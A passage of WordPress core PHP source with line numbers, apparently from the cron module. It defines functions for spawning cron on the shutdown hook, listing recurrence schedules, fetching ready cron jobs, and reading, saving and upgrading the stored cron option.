1006 * cron is not being used). However, the wp_remote_post() function does not always respect the `timeout` and
1007 * `blocking` parameters. A timeout of `0.01` may end up taking 1 second. When this runs at the {@see 'wp_loaded'}
1008 * action, it increases the Time To First Byte (TTFB) since the HTML cannot be sent while waiting for the cron request
1009 * to initiate. Moving the spawning of cron to the {@see 'shutdown'} hook allows for the server to flush the HTML document to
1010 * the browser while waiting for the request.
1011 *
1012 * @since 2.1.0
1013 * @since 5.1.0 Return value added to indicate success or failure.
1014 * @since 5.7.0 Functionality moved to _wp_cron() to which this becomes a wrapper.
1015 * @since 6.9.0 The _wp_cron() callback is moved from {@see 'wp_loaded'} to the {@see 'shutdown'} action,
1016 * unless `ALTERNATE_WP_CRON` is enabled; the function now always returns void.
1017 */
1018function wp_cron(): void {
1019 if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
1020 if ( did_action( 'wp_loaded' ) ) {
1021 _wp_cron();
1022 } else {
1023 add_action( 'wp_loaded', '_wp_cron', 20 );
1024 }
1025 } elseif ( doing_action( 'shutdown' ) ) {
1026 _wp_cron();
1027 } else {
1028 add_action( 'shutdown', '_wp_cron' );
1029 }
1030}
1031
1032/**
1033 * Runs scheduled callbacks or spawns cron for all scheduled events.
1034 *
1035 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
1036 * value which evaluates to FALSE. For information about casting to booleans see the
1037 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
1038 * the `===` operator for testing the return value of this function.
1039 *
1040 * @since 5.7.0
1041 * @access private
1042 *
1043 * @return int|false On success an integer indicating number of events spawned (0 indicates no
1044 * events needed to be spawned), false if spawning fails for one or more events.
1045 */
1046function _wp_cron() {
1047 // Prevent infinite loops caused by lack of wp-cron.php.
1048 if ( str_contains( $_SERVER['REQUEST_URI'], '/wp-cron.php' )
1049 || ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON )
1050 ) {
1051 return 0;
1052 }
1053
1054 $crons = wp_get_ready_cron_jobs();
1055 if ( empty( $crons ) ) {
1056 return 0;
1057 }
1058
1059 $gmt_time = microtime( true );
1060 $keys = array_keys( $crons );
1061 if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
1062 return 0;
1063 }
1064
1065 $schedules = wp_get_schedules();
1066 $results = array();
1067
1068 foreach ( $crons as $timestamp => $cronhooks ) {
1069 if ( $timestamp > $gmt_time ) {
1070 break;
1071 }
1072
1073 foreach ( (array) $cronhooks as $hook => $args ) {
1074 if ( isset( $schedules[ $hook ]['callback'] )
1075 && ! call_user_func( $schedules[ $hook ]['callback'] )
1076 ) {
1077 continue;
1078 }
1079
1080 $results[] = spawn_cron( $gmt_time );
1081 break 2;
1082 }
1083 }
1084
1085 if ( in_array( false, $results, true ) ) {
1086 return false;
1087 }
1088
1089 return count( $results );
1090}
1091
1092/**
1093 * Retrieves supported event recurrence schedules.
1094 *
1095 * The default supported recurrences are 'hourly', 'twicedaily', 'daily', and 'weekly'.
1096 * A plugin may add more by hooking into the {@see 'cron_schedules'} filter.
1097 * The filter accepts an array of arrays. The outer array has a key that is the name
1098 * of the schedule, for example 'monthly'. The value is an array with two keys,
1099 * one is 'interval' and the other is 'display'.
1100 *
1101 * The 'interval' is a number in seconds of when the cron job should run.
1102 * So for 'hourly' the time is `HOUR_IN_SECONDS` (`60 * 60` or `3600`). For 'monthly',
1103 * the value would be `MONTH_IN_SECONDS` (`30 * 24 * 60 * 60` or `2592000`).
1104 *
1105 * The 'display' is the description. For the 'monthly' key, the 'display'
1106 * would be `__( 'Once Monthly' )`.
1107 *
1108 * For your plugin, you will be passed an array. You can add your
1109 * schedule by doing the following:
1110 *
1111 * // Filter parameter variable name is 'array'.
1112 * $array['monthly'] = array(
1113 * 'interval' => MONTH_IN_SECONDS,
1114 * 'display' => __( 'Once Monthly' )
1115 * );
1116 *
1117 * @since 2.1.0
1118 * @since 5.4.0 The 'weekly' schedule was added.
1119 *
1120 * @return array {
1121 * The array of cron schedules keyed by the schedule name.
1122 *
1123 * @type array ...$0 {
1124 * Cron schedule information.
1125 *
1126 * @type int $interval The schedule interval in seconds.
1127 * @type string $display The schedule display name.
1128 * }
1129 * }
1130 */
1131function wp_get_schedules() {
1132 $schedules = array(
1133 'hourly' => array(
1134 'interval' => HOUR_IN_SECONDS,
1135 'display' => __( 'Once Hourly' ),
1136 ),
1137 'twicedaily' => array(
1138 'interval' => 12 * HOUR_IN_SECONDS,
1139 'display' => __( 'Twice Daily' ),
1140 ),
1141 'daily' => array(
1142 'interval' => DAY_IN_SECONDS,
1143 'display' => __( 'Once Daily' ),
1144 ),
1145 'weekly' => array(
1146 'interval' => WEEK_IN_SECONDS,
1147 'display' => __( 'Once Weekly' ),
1148 ),
1149 );
1150
1151 /**
1152 * Filters the non-default cron schedules.
1153 *
1154 * @since 2.1.0
1155 *
1156 * @param array $new_schedules {
1157 * An array of non-default cron schedules keyed by the schedule name. Default empty array.
1158 *
1159 * @type array ...$0 {
1160 * Cron schedule information.
1161 *
1162 * @type int $interval The schedule interval in seconds.
1163 * @type string $display The schedule display name.
1164 * }
1165 * }
1166 */
1167 return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
1168}
1169
1170/**
1171 * Retrieves the name of the recurrence schedule for an event.
1172 *
1173 * @see wp_get_schedules() for available schedules.
1174 *
1175 * @since 2.1.0
1176 * @since 5.1.0 {@see 'get_schedule'} filter added.
1177 *
1178 * @param string $hook Action hook to identify the event.
1179 * @param array $args Optional. Arguments passed to the event's callback function.
1180 * Default empty array.
1181 * @return string|false Schedule name on success, false if no schedule.
1182 */
1183function wp_get_schedule( $hook, $args = array() ) {
1184 $schedule = false;
1185 $event = wp_get_scheduled_event( $hook, $args );
1186
1187 if ( $event ) {
1188 $schedule = $event->schedule;
1189 }
1190
1191 /**
1192 * Filters the schedule name for a hook.
1193 *
1194 * @since 5.1.0
1195 *
1196 * @param string|false $schedule Schedule for the hook. False if not found.
1197 * @param string $hook Action hook to execute when cron is run.
1198 * @param array $args Arguments to pass to the hook's callback function.
1199 */
1200 return apply_filters( 'get_schedule', $schedule, $hook, $args );
1201}
1202
1203/**
1204 * Retrieves cron jobs ready to be run.
1205 *
1206 * Returns the results of _get_cron_array() limited to events ready to be run,
1207 * ie, with a timestamp in the past.
1208 *
1209 * @since 5.1.0
1210 *
1211 * @return array[] Array of cron job arrays ready to be run.
1212 */
1213function wp_get_ready_cron_jobs() {
1214 /**
1215 * Filter to override retrieving ready cron jobs.
1216 *
1217 * Returning an array will short-circuit the normal retrieval of ready
1218 * cron jobs, causing the function to return the filtered value instead.
1219 *
1220 * @since 5.1.0
1221 *
1222 * @param null|array[] $pre Array of ready cron tasks to return instead. Default null
1223 * to continue using results from _get_cron_array().
1224 */
1225 $pre = apply_filters( 'pre_get_ready_cron_jobs', null );
1226
1227 if ( null !== $pre ) {
1228 return $pre;
1229 }
1230
1231 $crons = _get_cron_array();
1232 $gmt_time = microtime( true );
1233 $results = array();
1234
1235 foreach ( $crons as $timestamp => $cronhooks ) {
1236 if ( $timestamp > $gmt_time ) {
1237 break;
1238 }
1239
1240 $results[ $timestamp ] = $cronhooks;
1241 }
1242
1243 return $results;
1244}
1245
1246//
1247// Private functions.
1248//
1249
1250/**
1251 * Retrieves cron info array option.
1252 *
1253 * @since 2.1.0
1254 * @since 6.1.0 Return type modified to consistently return an array.
1255 * @access private
1256 *
1257 * @return array[] Array of cron events.
1258 */
1259function _get_cron_array() {
1260 $cron = get_option( 'cron' );
1261 if ( ! is_array( $cron ) ) {
1262 return array();
1263 }
1264
1265 if ( ! isset( $cron['version'] ) ) {
1266 $cron = _upgrade_cron_array( $cron );
1267 }
1268
1269 unset( $cron['version'] );
1270
1271 return $cron;
1272}
1273
1274/**
1275 * Updates the cron option with the new cron array.
1276 *
1277 * @since 2.1.0
1278 * @since 5.1.0 Return value modified to outcome of update_option().
1279 * @since 5.7.0 The `$wp_error` parameter was added.
1280 *
1281 * @access private
1282 *
1283 * @param array[] $cron Array of cron info arrays from _get_cron_array().
1284 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
1285 * @return bool|WP_Error True if cron array updated. False or WP_Error on failure.
1286 */
1287function _set_cron_array( $cron, $wp_error = false ) {
1288 if ( ! is_array( $cron ) ) {
1289 $cron = array();
1290 }
1291
1292 $cron['version'] = 2;
1293
1294 $result = update_option( 'cron', $cron, true );
1295
1296 if ( $wp_error && ! $result ) {
1297 return new WP_Error(
1298 'could_not_set',
1299 __( 'The cron event list could not be saved.' )
1300 );
1301 }
1302
1303 return $result;
1304}
1305
1306/**
1307 * Upgrades a cron info array.
1308 *
1309 * This function upgrades the cron info array to version 2.
1310 *
1311 * @since 2.1.0
1312 * @access private
1313 *
1314 * @param array $cron Cron info array from _get_cron_array().
1315 * @return array An upgraded cron info array.
1316 */
1317function _upgrade_cron_array( $cron ) {
1318 if ( isset( $cron['version'] ) && 2 === $cron['version'] ) {
1319 return $cron;
1320 }
1321
1322 $new_cron = array();
1323
1324 foreach ( (array) $cron as $timestamp => $hooks ) {
1325 foreach ( (array) $hooks as $hook => $args ) {
1326 $key = md5( serialize( $args['args'] ) );
1327
1328 $new_cron[ $timestamp ][ $hook ][ $key ] = $args;
1329 }
1330 }
1331
1332 $new_cron['version'] = 2;
1333
1334 update_option( 'cron', $new_cron, true );
1335
1336 return $new_cron;
1337}
1338